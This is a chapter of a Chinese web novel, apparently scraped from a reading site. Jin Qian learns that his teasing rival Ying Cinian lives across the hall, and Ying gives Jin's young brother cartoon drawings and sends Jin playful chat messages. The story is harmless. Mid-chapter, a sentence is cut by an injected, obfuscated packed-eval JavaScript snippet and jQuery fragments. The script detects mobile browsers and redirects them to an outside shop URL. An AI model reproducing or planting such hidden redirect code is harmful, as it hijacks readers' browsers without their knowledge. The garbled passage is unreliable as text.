默认冷灰
24号文字
方正启体

2. 邻居

作者:闻声渐醒本书字数:K更新时间:
    “你怎么在这里?”一个一米八几的大男人撑着个瘦骨嶙峋的小学生,也不怕给人压垮,靳谦见状,赶紧上前将喻晨从那人手中解救出来。


    师妹说得没错,面前这位真是个神经病。


    云敏目前的追求者之一,靳谦的情敌。


    燕城秦家二少,应辞年。


    他随母姓,燕城少爷圈里出了名的纨绔二世祖,被亲妈发配到格林伍德之后过得全是些纸醉金迷的日子,私生活混乱,男女通吃,身边人来人往,几乎看不到空窗期。


    应家和云家是世交,他和云敏是一块儿长大的发小。除了十多岁惹了大哥被流放小县城那几年,正常情况下他和云敏的社交圈少说也有百分之八十的重合率。


    在燕城,应云白纪这几家的少爷每次出现都跟组队打怪似的,社交场上见着一个,另外几个指不定就接二连三地冒出来了,小团体如雷贯耳。


    靳谦认识应辞年早在认识云敏之前。


    那一年应辞年被大哥流放县城,十四五岁的年纪,恰巧是少爷脾气正盛的时候,这也不会那也不会,自理能力聊胜于无,要没认识靳谦兴许早把自己作死了,活不到大哥良心长出来的那天。


    落难之时认识的朋友最是难得,所谓同甘苦共患难,经此一遭,他立誓要把靳谦当最铁的哥们儿,以后发达了绝对要报答好兄弟中的好兄弟。


    大哥派人接他回燕城,应辞年不得不走,和靳谦告别的时候少爷形象全无,扒着人家衣服哭得一把鼻涕一把泪。


    可即便他心里还惦记着靳谦这个朋友,现实因素横在面前一巴掌就能扇得他倒地不起。


    说来好笑,他刚回燕城没多久又被亲妈通知国外流放,皇帝消气了太后还没。就这样,应辞年被迫做了整整五年格州留子,前三年没太后口谕不准回国的那种。


    到了格州,应辞年的社交圈子又重新翻了一遍,身边的同学什么牛鬼蛇神应有尽有,三不沾里头起码得占两个。


    他活得云里雾里,总觉得县城那两年像上辈子的事,割裂得很。


    这种割裂,一直持续到来格州看他的白述组局,他在人堆里看见靳谦,对方还像记忆里的一样清冽温和,干净得在那种氛围中格格不入。


    才开始慢慢消失。


    可惜世事难料,再完美的白月光掉进染缸里,也会变成一抹寻常的浊色。


    他对靳谦的滤镜,在靳谦有段时间莫名其妙疏远他后,他从白述口中得知对方上位云敏情人的那一刻裂得粉碎。


    也不知道后来是怎么了,靳谦和云敏只要同框出现在应辞年面前,他无一例外ptsd,喉间没来由地泛起一阵恶心,打过照面转身就吐得昏天黑地。


    或许因为他和云敏是发小,自己被流放前又和云敏一个脾气,照着镜子,不忍心看到云敏被靳谦那副道貌岸然的样子耍得团团转,应辞年转头就在酒局上和白述诉衷肠,说自己对云敏这个他们中间最小的弟弟生出了一种别样的感情。


    白述当场傻眼,他不是个能藏住事的人,应辞年这话夜里刚说完,隔天便成了他们圈子里无人不知无人不晓的热搜top one。


    为了坐实对云敏“别样感情”的八卦流言,自那以后,云小少爷出现的地方,总有应少爷的身影。


    有人曾这样锐评,靳谦完全是古时候正宫大房的端庄做派,名分在那里,但温柔过头着实没什么意思。应辞年就不同了,他是美院留子,见识多玩得也花,使得全是些勾栏手段,跟这种人谈恋爱生活肯定多姿多彩。


    明面上,靳谦不但要防着外边成群的莺莺燕燕,还得防着应辞年这个癫起来丝毫不顾旁人死活的家伙。


    切身体会到了什么是钱难挣,史难吃。


    应辞年没了人形拐杖,故作遗憾地轻叹一声,随后挑唇笑道:“我当然在这里。”


    他耸耸肩,往靳谦对门那间房一指:“这是我家。”


    “你家?”靳谦眼皮一跳。


    应辞年怕他不信,径直走到房门口,对着指纹锁伸出食指。


    “叮——开锁成功!”


    门被拉开,应辞年搭着门把手似笑非笑:“喏,你看,真是我家。”


    越看越觉得这人笑得碍眼。


    靳谦眼底倒映着应辞年明晃晃的挑衅,太阳穴一抽一抽地疼。


    他设想过很多种邻居的样子,以便于对门住户性格举止再怎么惊天地泣鬼神,他都能尽量说服自己接受。可是万万没想到,最后的邻居竟然是这型号的。


    “以前没怎么在这里见过你。”靳谦语气冷淡。喻晨被他挡在身后,眼珠子好奇地转了转。


    应辞年眨眨眼笑:“那我不也没怎么在这儿见过你嘛。”


    这人装傻充愣有一套,靳谦不打算跟他耗下去:“抱歉,是我唐突了。”


    语罢,他牵着喻晨的手腕转身欲走。


    “慢着。”不知道是不是他的错觉,应辞年的声音好像冷了几分。


    靳谦顿住脚步,偏头看他:“有事?”


    视线望过来的瞬间,应辞年立刻收住了眼底的锋芒,姿态散漫,没脸没皮:“没事就不能叫你吗?”


    他嘴角就没下来过,一个劲儿地冲着靳谦笑,和友善这个词丝毫搭不上边,潮湿、森冷,像某种带角质鳞片的粘腻爬行动物。


    就等着猎物放松警惕那刻,伸出舌信,将其一击毙命。


    “随你。”对上应辞年,靳谦通常没什么情绪,既不讨厌也谈不上喜欢,生气更是少有。


    有的仅仅是一种和这人没法儿交流的无能为力。


    “好吧。”应辞年极其夸张地拉长声音,在靳谦眼皮子底下唉声叹气。靳谦静静看着他演,好奇他究竟能演到什么时候。


    忽地,应辞年话锋一转,眼神挪到了喻晨身上,存心打他个措手不及:“这小帅哥是你什么人,以前怎么没见过?”


    靳谦瞥了眼喻晨,很难不怀疑应辞年到底是真不知道还是假不知道:“不明显吗?”


    应辞年无辜地摇了摇头。


    麻烦。


    靳谦在心里轻嗤一声。


    面上却端起一副礼貌认真的模样回答应辞年方才的问题,语出惊人:


    “我儿子。”


    周围空气仿佛刹那间停止了流动。


    应辞年脸上表情蓦地微妙起来,唇角带着的笑隐隐有消散的趋势:“你觉得我看起来像傻子吗?”


    喻晨现在和靳谦小时候有六七分相似,靳女士基因强大,生出来的孩子都继承了她那副赏心悦目的好皮相。


    冷白肤色,灰黑眼睛,断眉英气锐利,是一种极富攻击性的漂亮。


    一般人长成这样可不容易,有这张脸,至少半生吃喝不愁。


    想来,也怪不得应辞年反应过激。


    就算是兄弟,两个人也不能这么会挑地方长吧。


    “不然?”靳谦挑眉,空气中弥漫着一股淡淡的火药味儿,“傻子才会这么大反应。”


    平常靳谦说话没这么直接,整一个弥勒佛在世,别人就算当他面儿说他坏话戳着他脊梁骨骂,他也跟没脾气似的一笑了之,要不然应辞年也不会成天在他面前肆无忌惮,这里怼一嘴那里犯个贱。


    这回被他呛了个好歹,应辞年眼睛都睁得比平时大了些,皱眉道:“你今天出门吃炸药了?”


    “嗯。”靳谦干脆承认,嘴角挑起标准的社交微笑,“所以,如果不想我恶语伤人心,麻烦你最近尽量安分一点。”


    最近。


    尽量。


    安分一点。


    应辞年把靳谦这番话拆了反复研磨,越品越觉得不对。


    应辞年虽然是靳谦的情敌,但在情敌之前,他和靳谦云敏也都是朋友,更是云小少爷的发小,所谓的“娘家人”。


    面对朋友,靳谦很少会下人面子,更何况是财神爷那边的,能哄则哄,话都往好的捡着说。


    应辞年就是受不了靳谦低眉顺眼的死样子才故意给他找麻烦,试图从他身上窥得一点从前靳谦的蛛丝马迹,看到除温柔面具外哪怕一丝一毫的活人气息。


    如今靳谦像个人了,他反而又觉得哪哪都不对劲。


    “你知道我是什么脾气。”应辞年鼻翼里溢出一丝轻笑。


    他这种人,就喜欢干一些和旁人想法相悖的事。


    别人越不让他做的,他偏要做。


    各路神仙来了都不好使。


    “也是。”靳谦闻言,似乎也觉得好笑,轻轻摇了摇头。他就多余提这么一嘴,说了也白搭。


    应辞年在很多事上抱有一种莫名的坚持,靳谦微微侧身,刚要梅开二度,他赶紧抢先一步,对着喻晨说:“这你弟弟,亲的?”


    “如假包换。”靳谦这回没存心逗他,直接了当道。


    “你不问我为什么和他在一块儿吗?”


    “没兴趣。”靳谦伸手揉了揉喻晨的头发,一双含情眼温柔潋滟,嘴上却是快刀,“再说了,问他不比问你强?”


    喻晨问什么答什么,别提有多听话。应辞年可就难说了,添油加醋都是其次,颠倒黑白才是招牌。


    他是疯了才会在应辞年身上浪费时间。


    应辞年哑然失笑。


    得,今天这人他还真惹不起。


    “咔搭——”


    房门上锁,过道里只剩应辞年一个人。


    他懒散地倚着自家大门,半阖着眼,视线还留在紧闭的对门上迟迟没有收回,时间在一分一秒中流逝。


    片刻后,一个绝妙的点子涌上心头,应辞年抿直的嘴角转而向上挑起,比AK还难压。


    他长腿迈开,转身进门。


    相似的一声闷响,过道里又恢复了往日的寂静。


    —


    关上房门后,靳谦察觉到衬衫下摆处传来的动静,低下头,是喻晨正用手轻轻拽着。


    “你有什么话要和我说吗?”靳谦同往常一样蹲下身,以平视的姿态和喻晨交谈。


    喻晨许久不曾说话,好不容易开口,稚嫩的嗓音喑哑不堪,艰难吐出几个字节:“哥哥,礼物。”


    嗯?


    靳谦没懂他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123095|195991||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的意思,一头雾水:“你是想要新玩具吗?”


    他最近发了笔横财,不管什么玩具都买得起。


    可事实显然证明靳谦理解上出了差错,喻晨深深皱眉,头摇成了拨浪鼓。


    “那个,哥哥,那个……”孩子急红了脸,扯着靳谦袖子不断重复这短短四个字。


    孩子急成这样,当家长的心里也不太好受。靳谦嘴唇抿紧,正调动自己有限的双商代入场景,总感觉自己距离真相只差一步。


    “等一下。”靳谦手背贴上喻晨结结巴巴但又滔滔不绝的嘴,为他人工闭麦。


    喻晨眼睛瞪得又大又圆,眼周泛起薄红,好像要急哭了。


    “我知道你很急,但你先别急。”靳谦深吸一口气调整好呼吸,随后冷静陈述自己的想法,“那个哥哥,是不是指我们过道里碰到的那个哥哥?”


    这回,喻晨重重点了几下头。


    靳谦心道果然,不带任何缓冲果断追问:“那个‘礼物’是指……他跟你说他要给你送礼物,还是他已经给你送了礼物?”


    喻晨那双灰黑色眼睛倏地亮起,没过几秒又暗淡下去。


    靳谦已经成功对上喻晨的信号,目光透着肯定:“句子太难,没办法回答?”


    喻晨点头。


    “好,那我换个问法。”靳谦重新组织语言,把一个问题拆成了两个,“他跟你说他要给你送礼物?”


    喻晨眼睛一亮,欣喜地点点头。


    靳谦怀揣着疑惑又问:“他已经给你送了礼物?”


    喻晨还是点头。


    难怪回答不了,原来不是二选一。


    靳谦心中了然。


    不过话又说回来,社会人士给孩子的礼物,他这个当监护人的总得把关一下:“什么礼物,我能看看吗?”


    喻晨点点头,从小口袋里拿出一叠折好的a4纸,当着靳谦的面摊开。


    最上面那张a4纸上,有一大一小两个Q版小人。


    一个松散丸子头,印花衬衫破洞牛仔短裤 ,脚踩人字拖叉着腰咧嘴大笑。


    一个黑色短发,白T恤运动裤,蹲在角落里画圈圈,旁边还有内心os:你就笑吧,马上画个圈圈诅咒你。


    上边两个小人神态抓得十分到位,一个欠兮兮的神经病,一个阴郁小蘑菇。


    正是应辞年和喻晨。


    靳谦欣赏完这幅大作,没忍住笑了:“挺可爱的。”


    不是什么反人类的东西,看着还挺友善,应辞年送了个喻晨中意的礼物,他这个做家长的或许得回头找个时间谢谢对方。


    靳谦以为到这里就完了,刚想站起来去给喻晨做饭,喻晨却按住了他的手。


    “还有?”靳谦疑惑。


    应辞年那家伙还能画什么?


    喻晨又掏了掏小口袋,再度掏出一张叠好的a4纸。


    靳谦看着它一点点展开,表情逐渐凝固。


    还是Q版小人没错。


    但这张纸上既不是喻晨也不是应辞年,而是社交场上把微笑面具焊得和妈生脸严丝合缝的靳谦本人,两副面孔的那种。


    一面:你好,我好,大家好。


    一面:哪里来的智障,滚。


    真该说不愧是他。


    靳谦捏着这张Q版画低笑一声:“幼稚。”


    多大的人了,还玩这种无聊的游戏。


    似乎是为了印证应辞年的无聊,靳谦的vx通知铃声恰逢其时响起。


    他点开一看,是新的好友申请。


    [对门邻居,加个好友。]


    靳谦按了同意。


    [你们已经是好友了,现在开始聊天吧~]


    [Cian:Hello邻居,以后请多关照哦。]


    关照个锤子。


    靳谦腹诽。


    这家伙哪里都不像是需要关照的。


    [Cian:Hello邻居,看得到我吗?]


    [Cian:邻居怎么不回消息,邻居这么高冷的吗?[可怜]]


    [Cian:邻居喜不喜欢我送的惊喜,喜欢请扣1。]


    [Cian:我会一直憋气到邻居回我消息为止。]


    一秒钟过后。


    [Cian:我死了,你个砂仁犯。]


    靳谦:“……”


    有病。


    他刚按住手机键盘打算回复,应辞年又扣了条消息过来。


    [Cian:邻居邻居,我这里还有个惊喜你想不想知道呀~]


    靳谦打字:[什么?]


    应辞年回复得很快。


    [Cian:当然是我们小少爷的前科哥回国了呀,有人要给他接风洗尘,就在这周末,你也要到场哦。]


    [Cian:[哈哈大笑.jpg]]


    看热闹不嫌事大。


    靳谦回了个手机自带的“OK”弹他脑瓜崩,心里开始思考起应辞年消息中提到的那位“前科哥”。


    真是前科?


    还是……


    忘不掉的旧情人?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)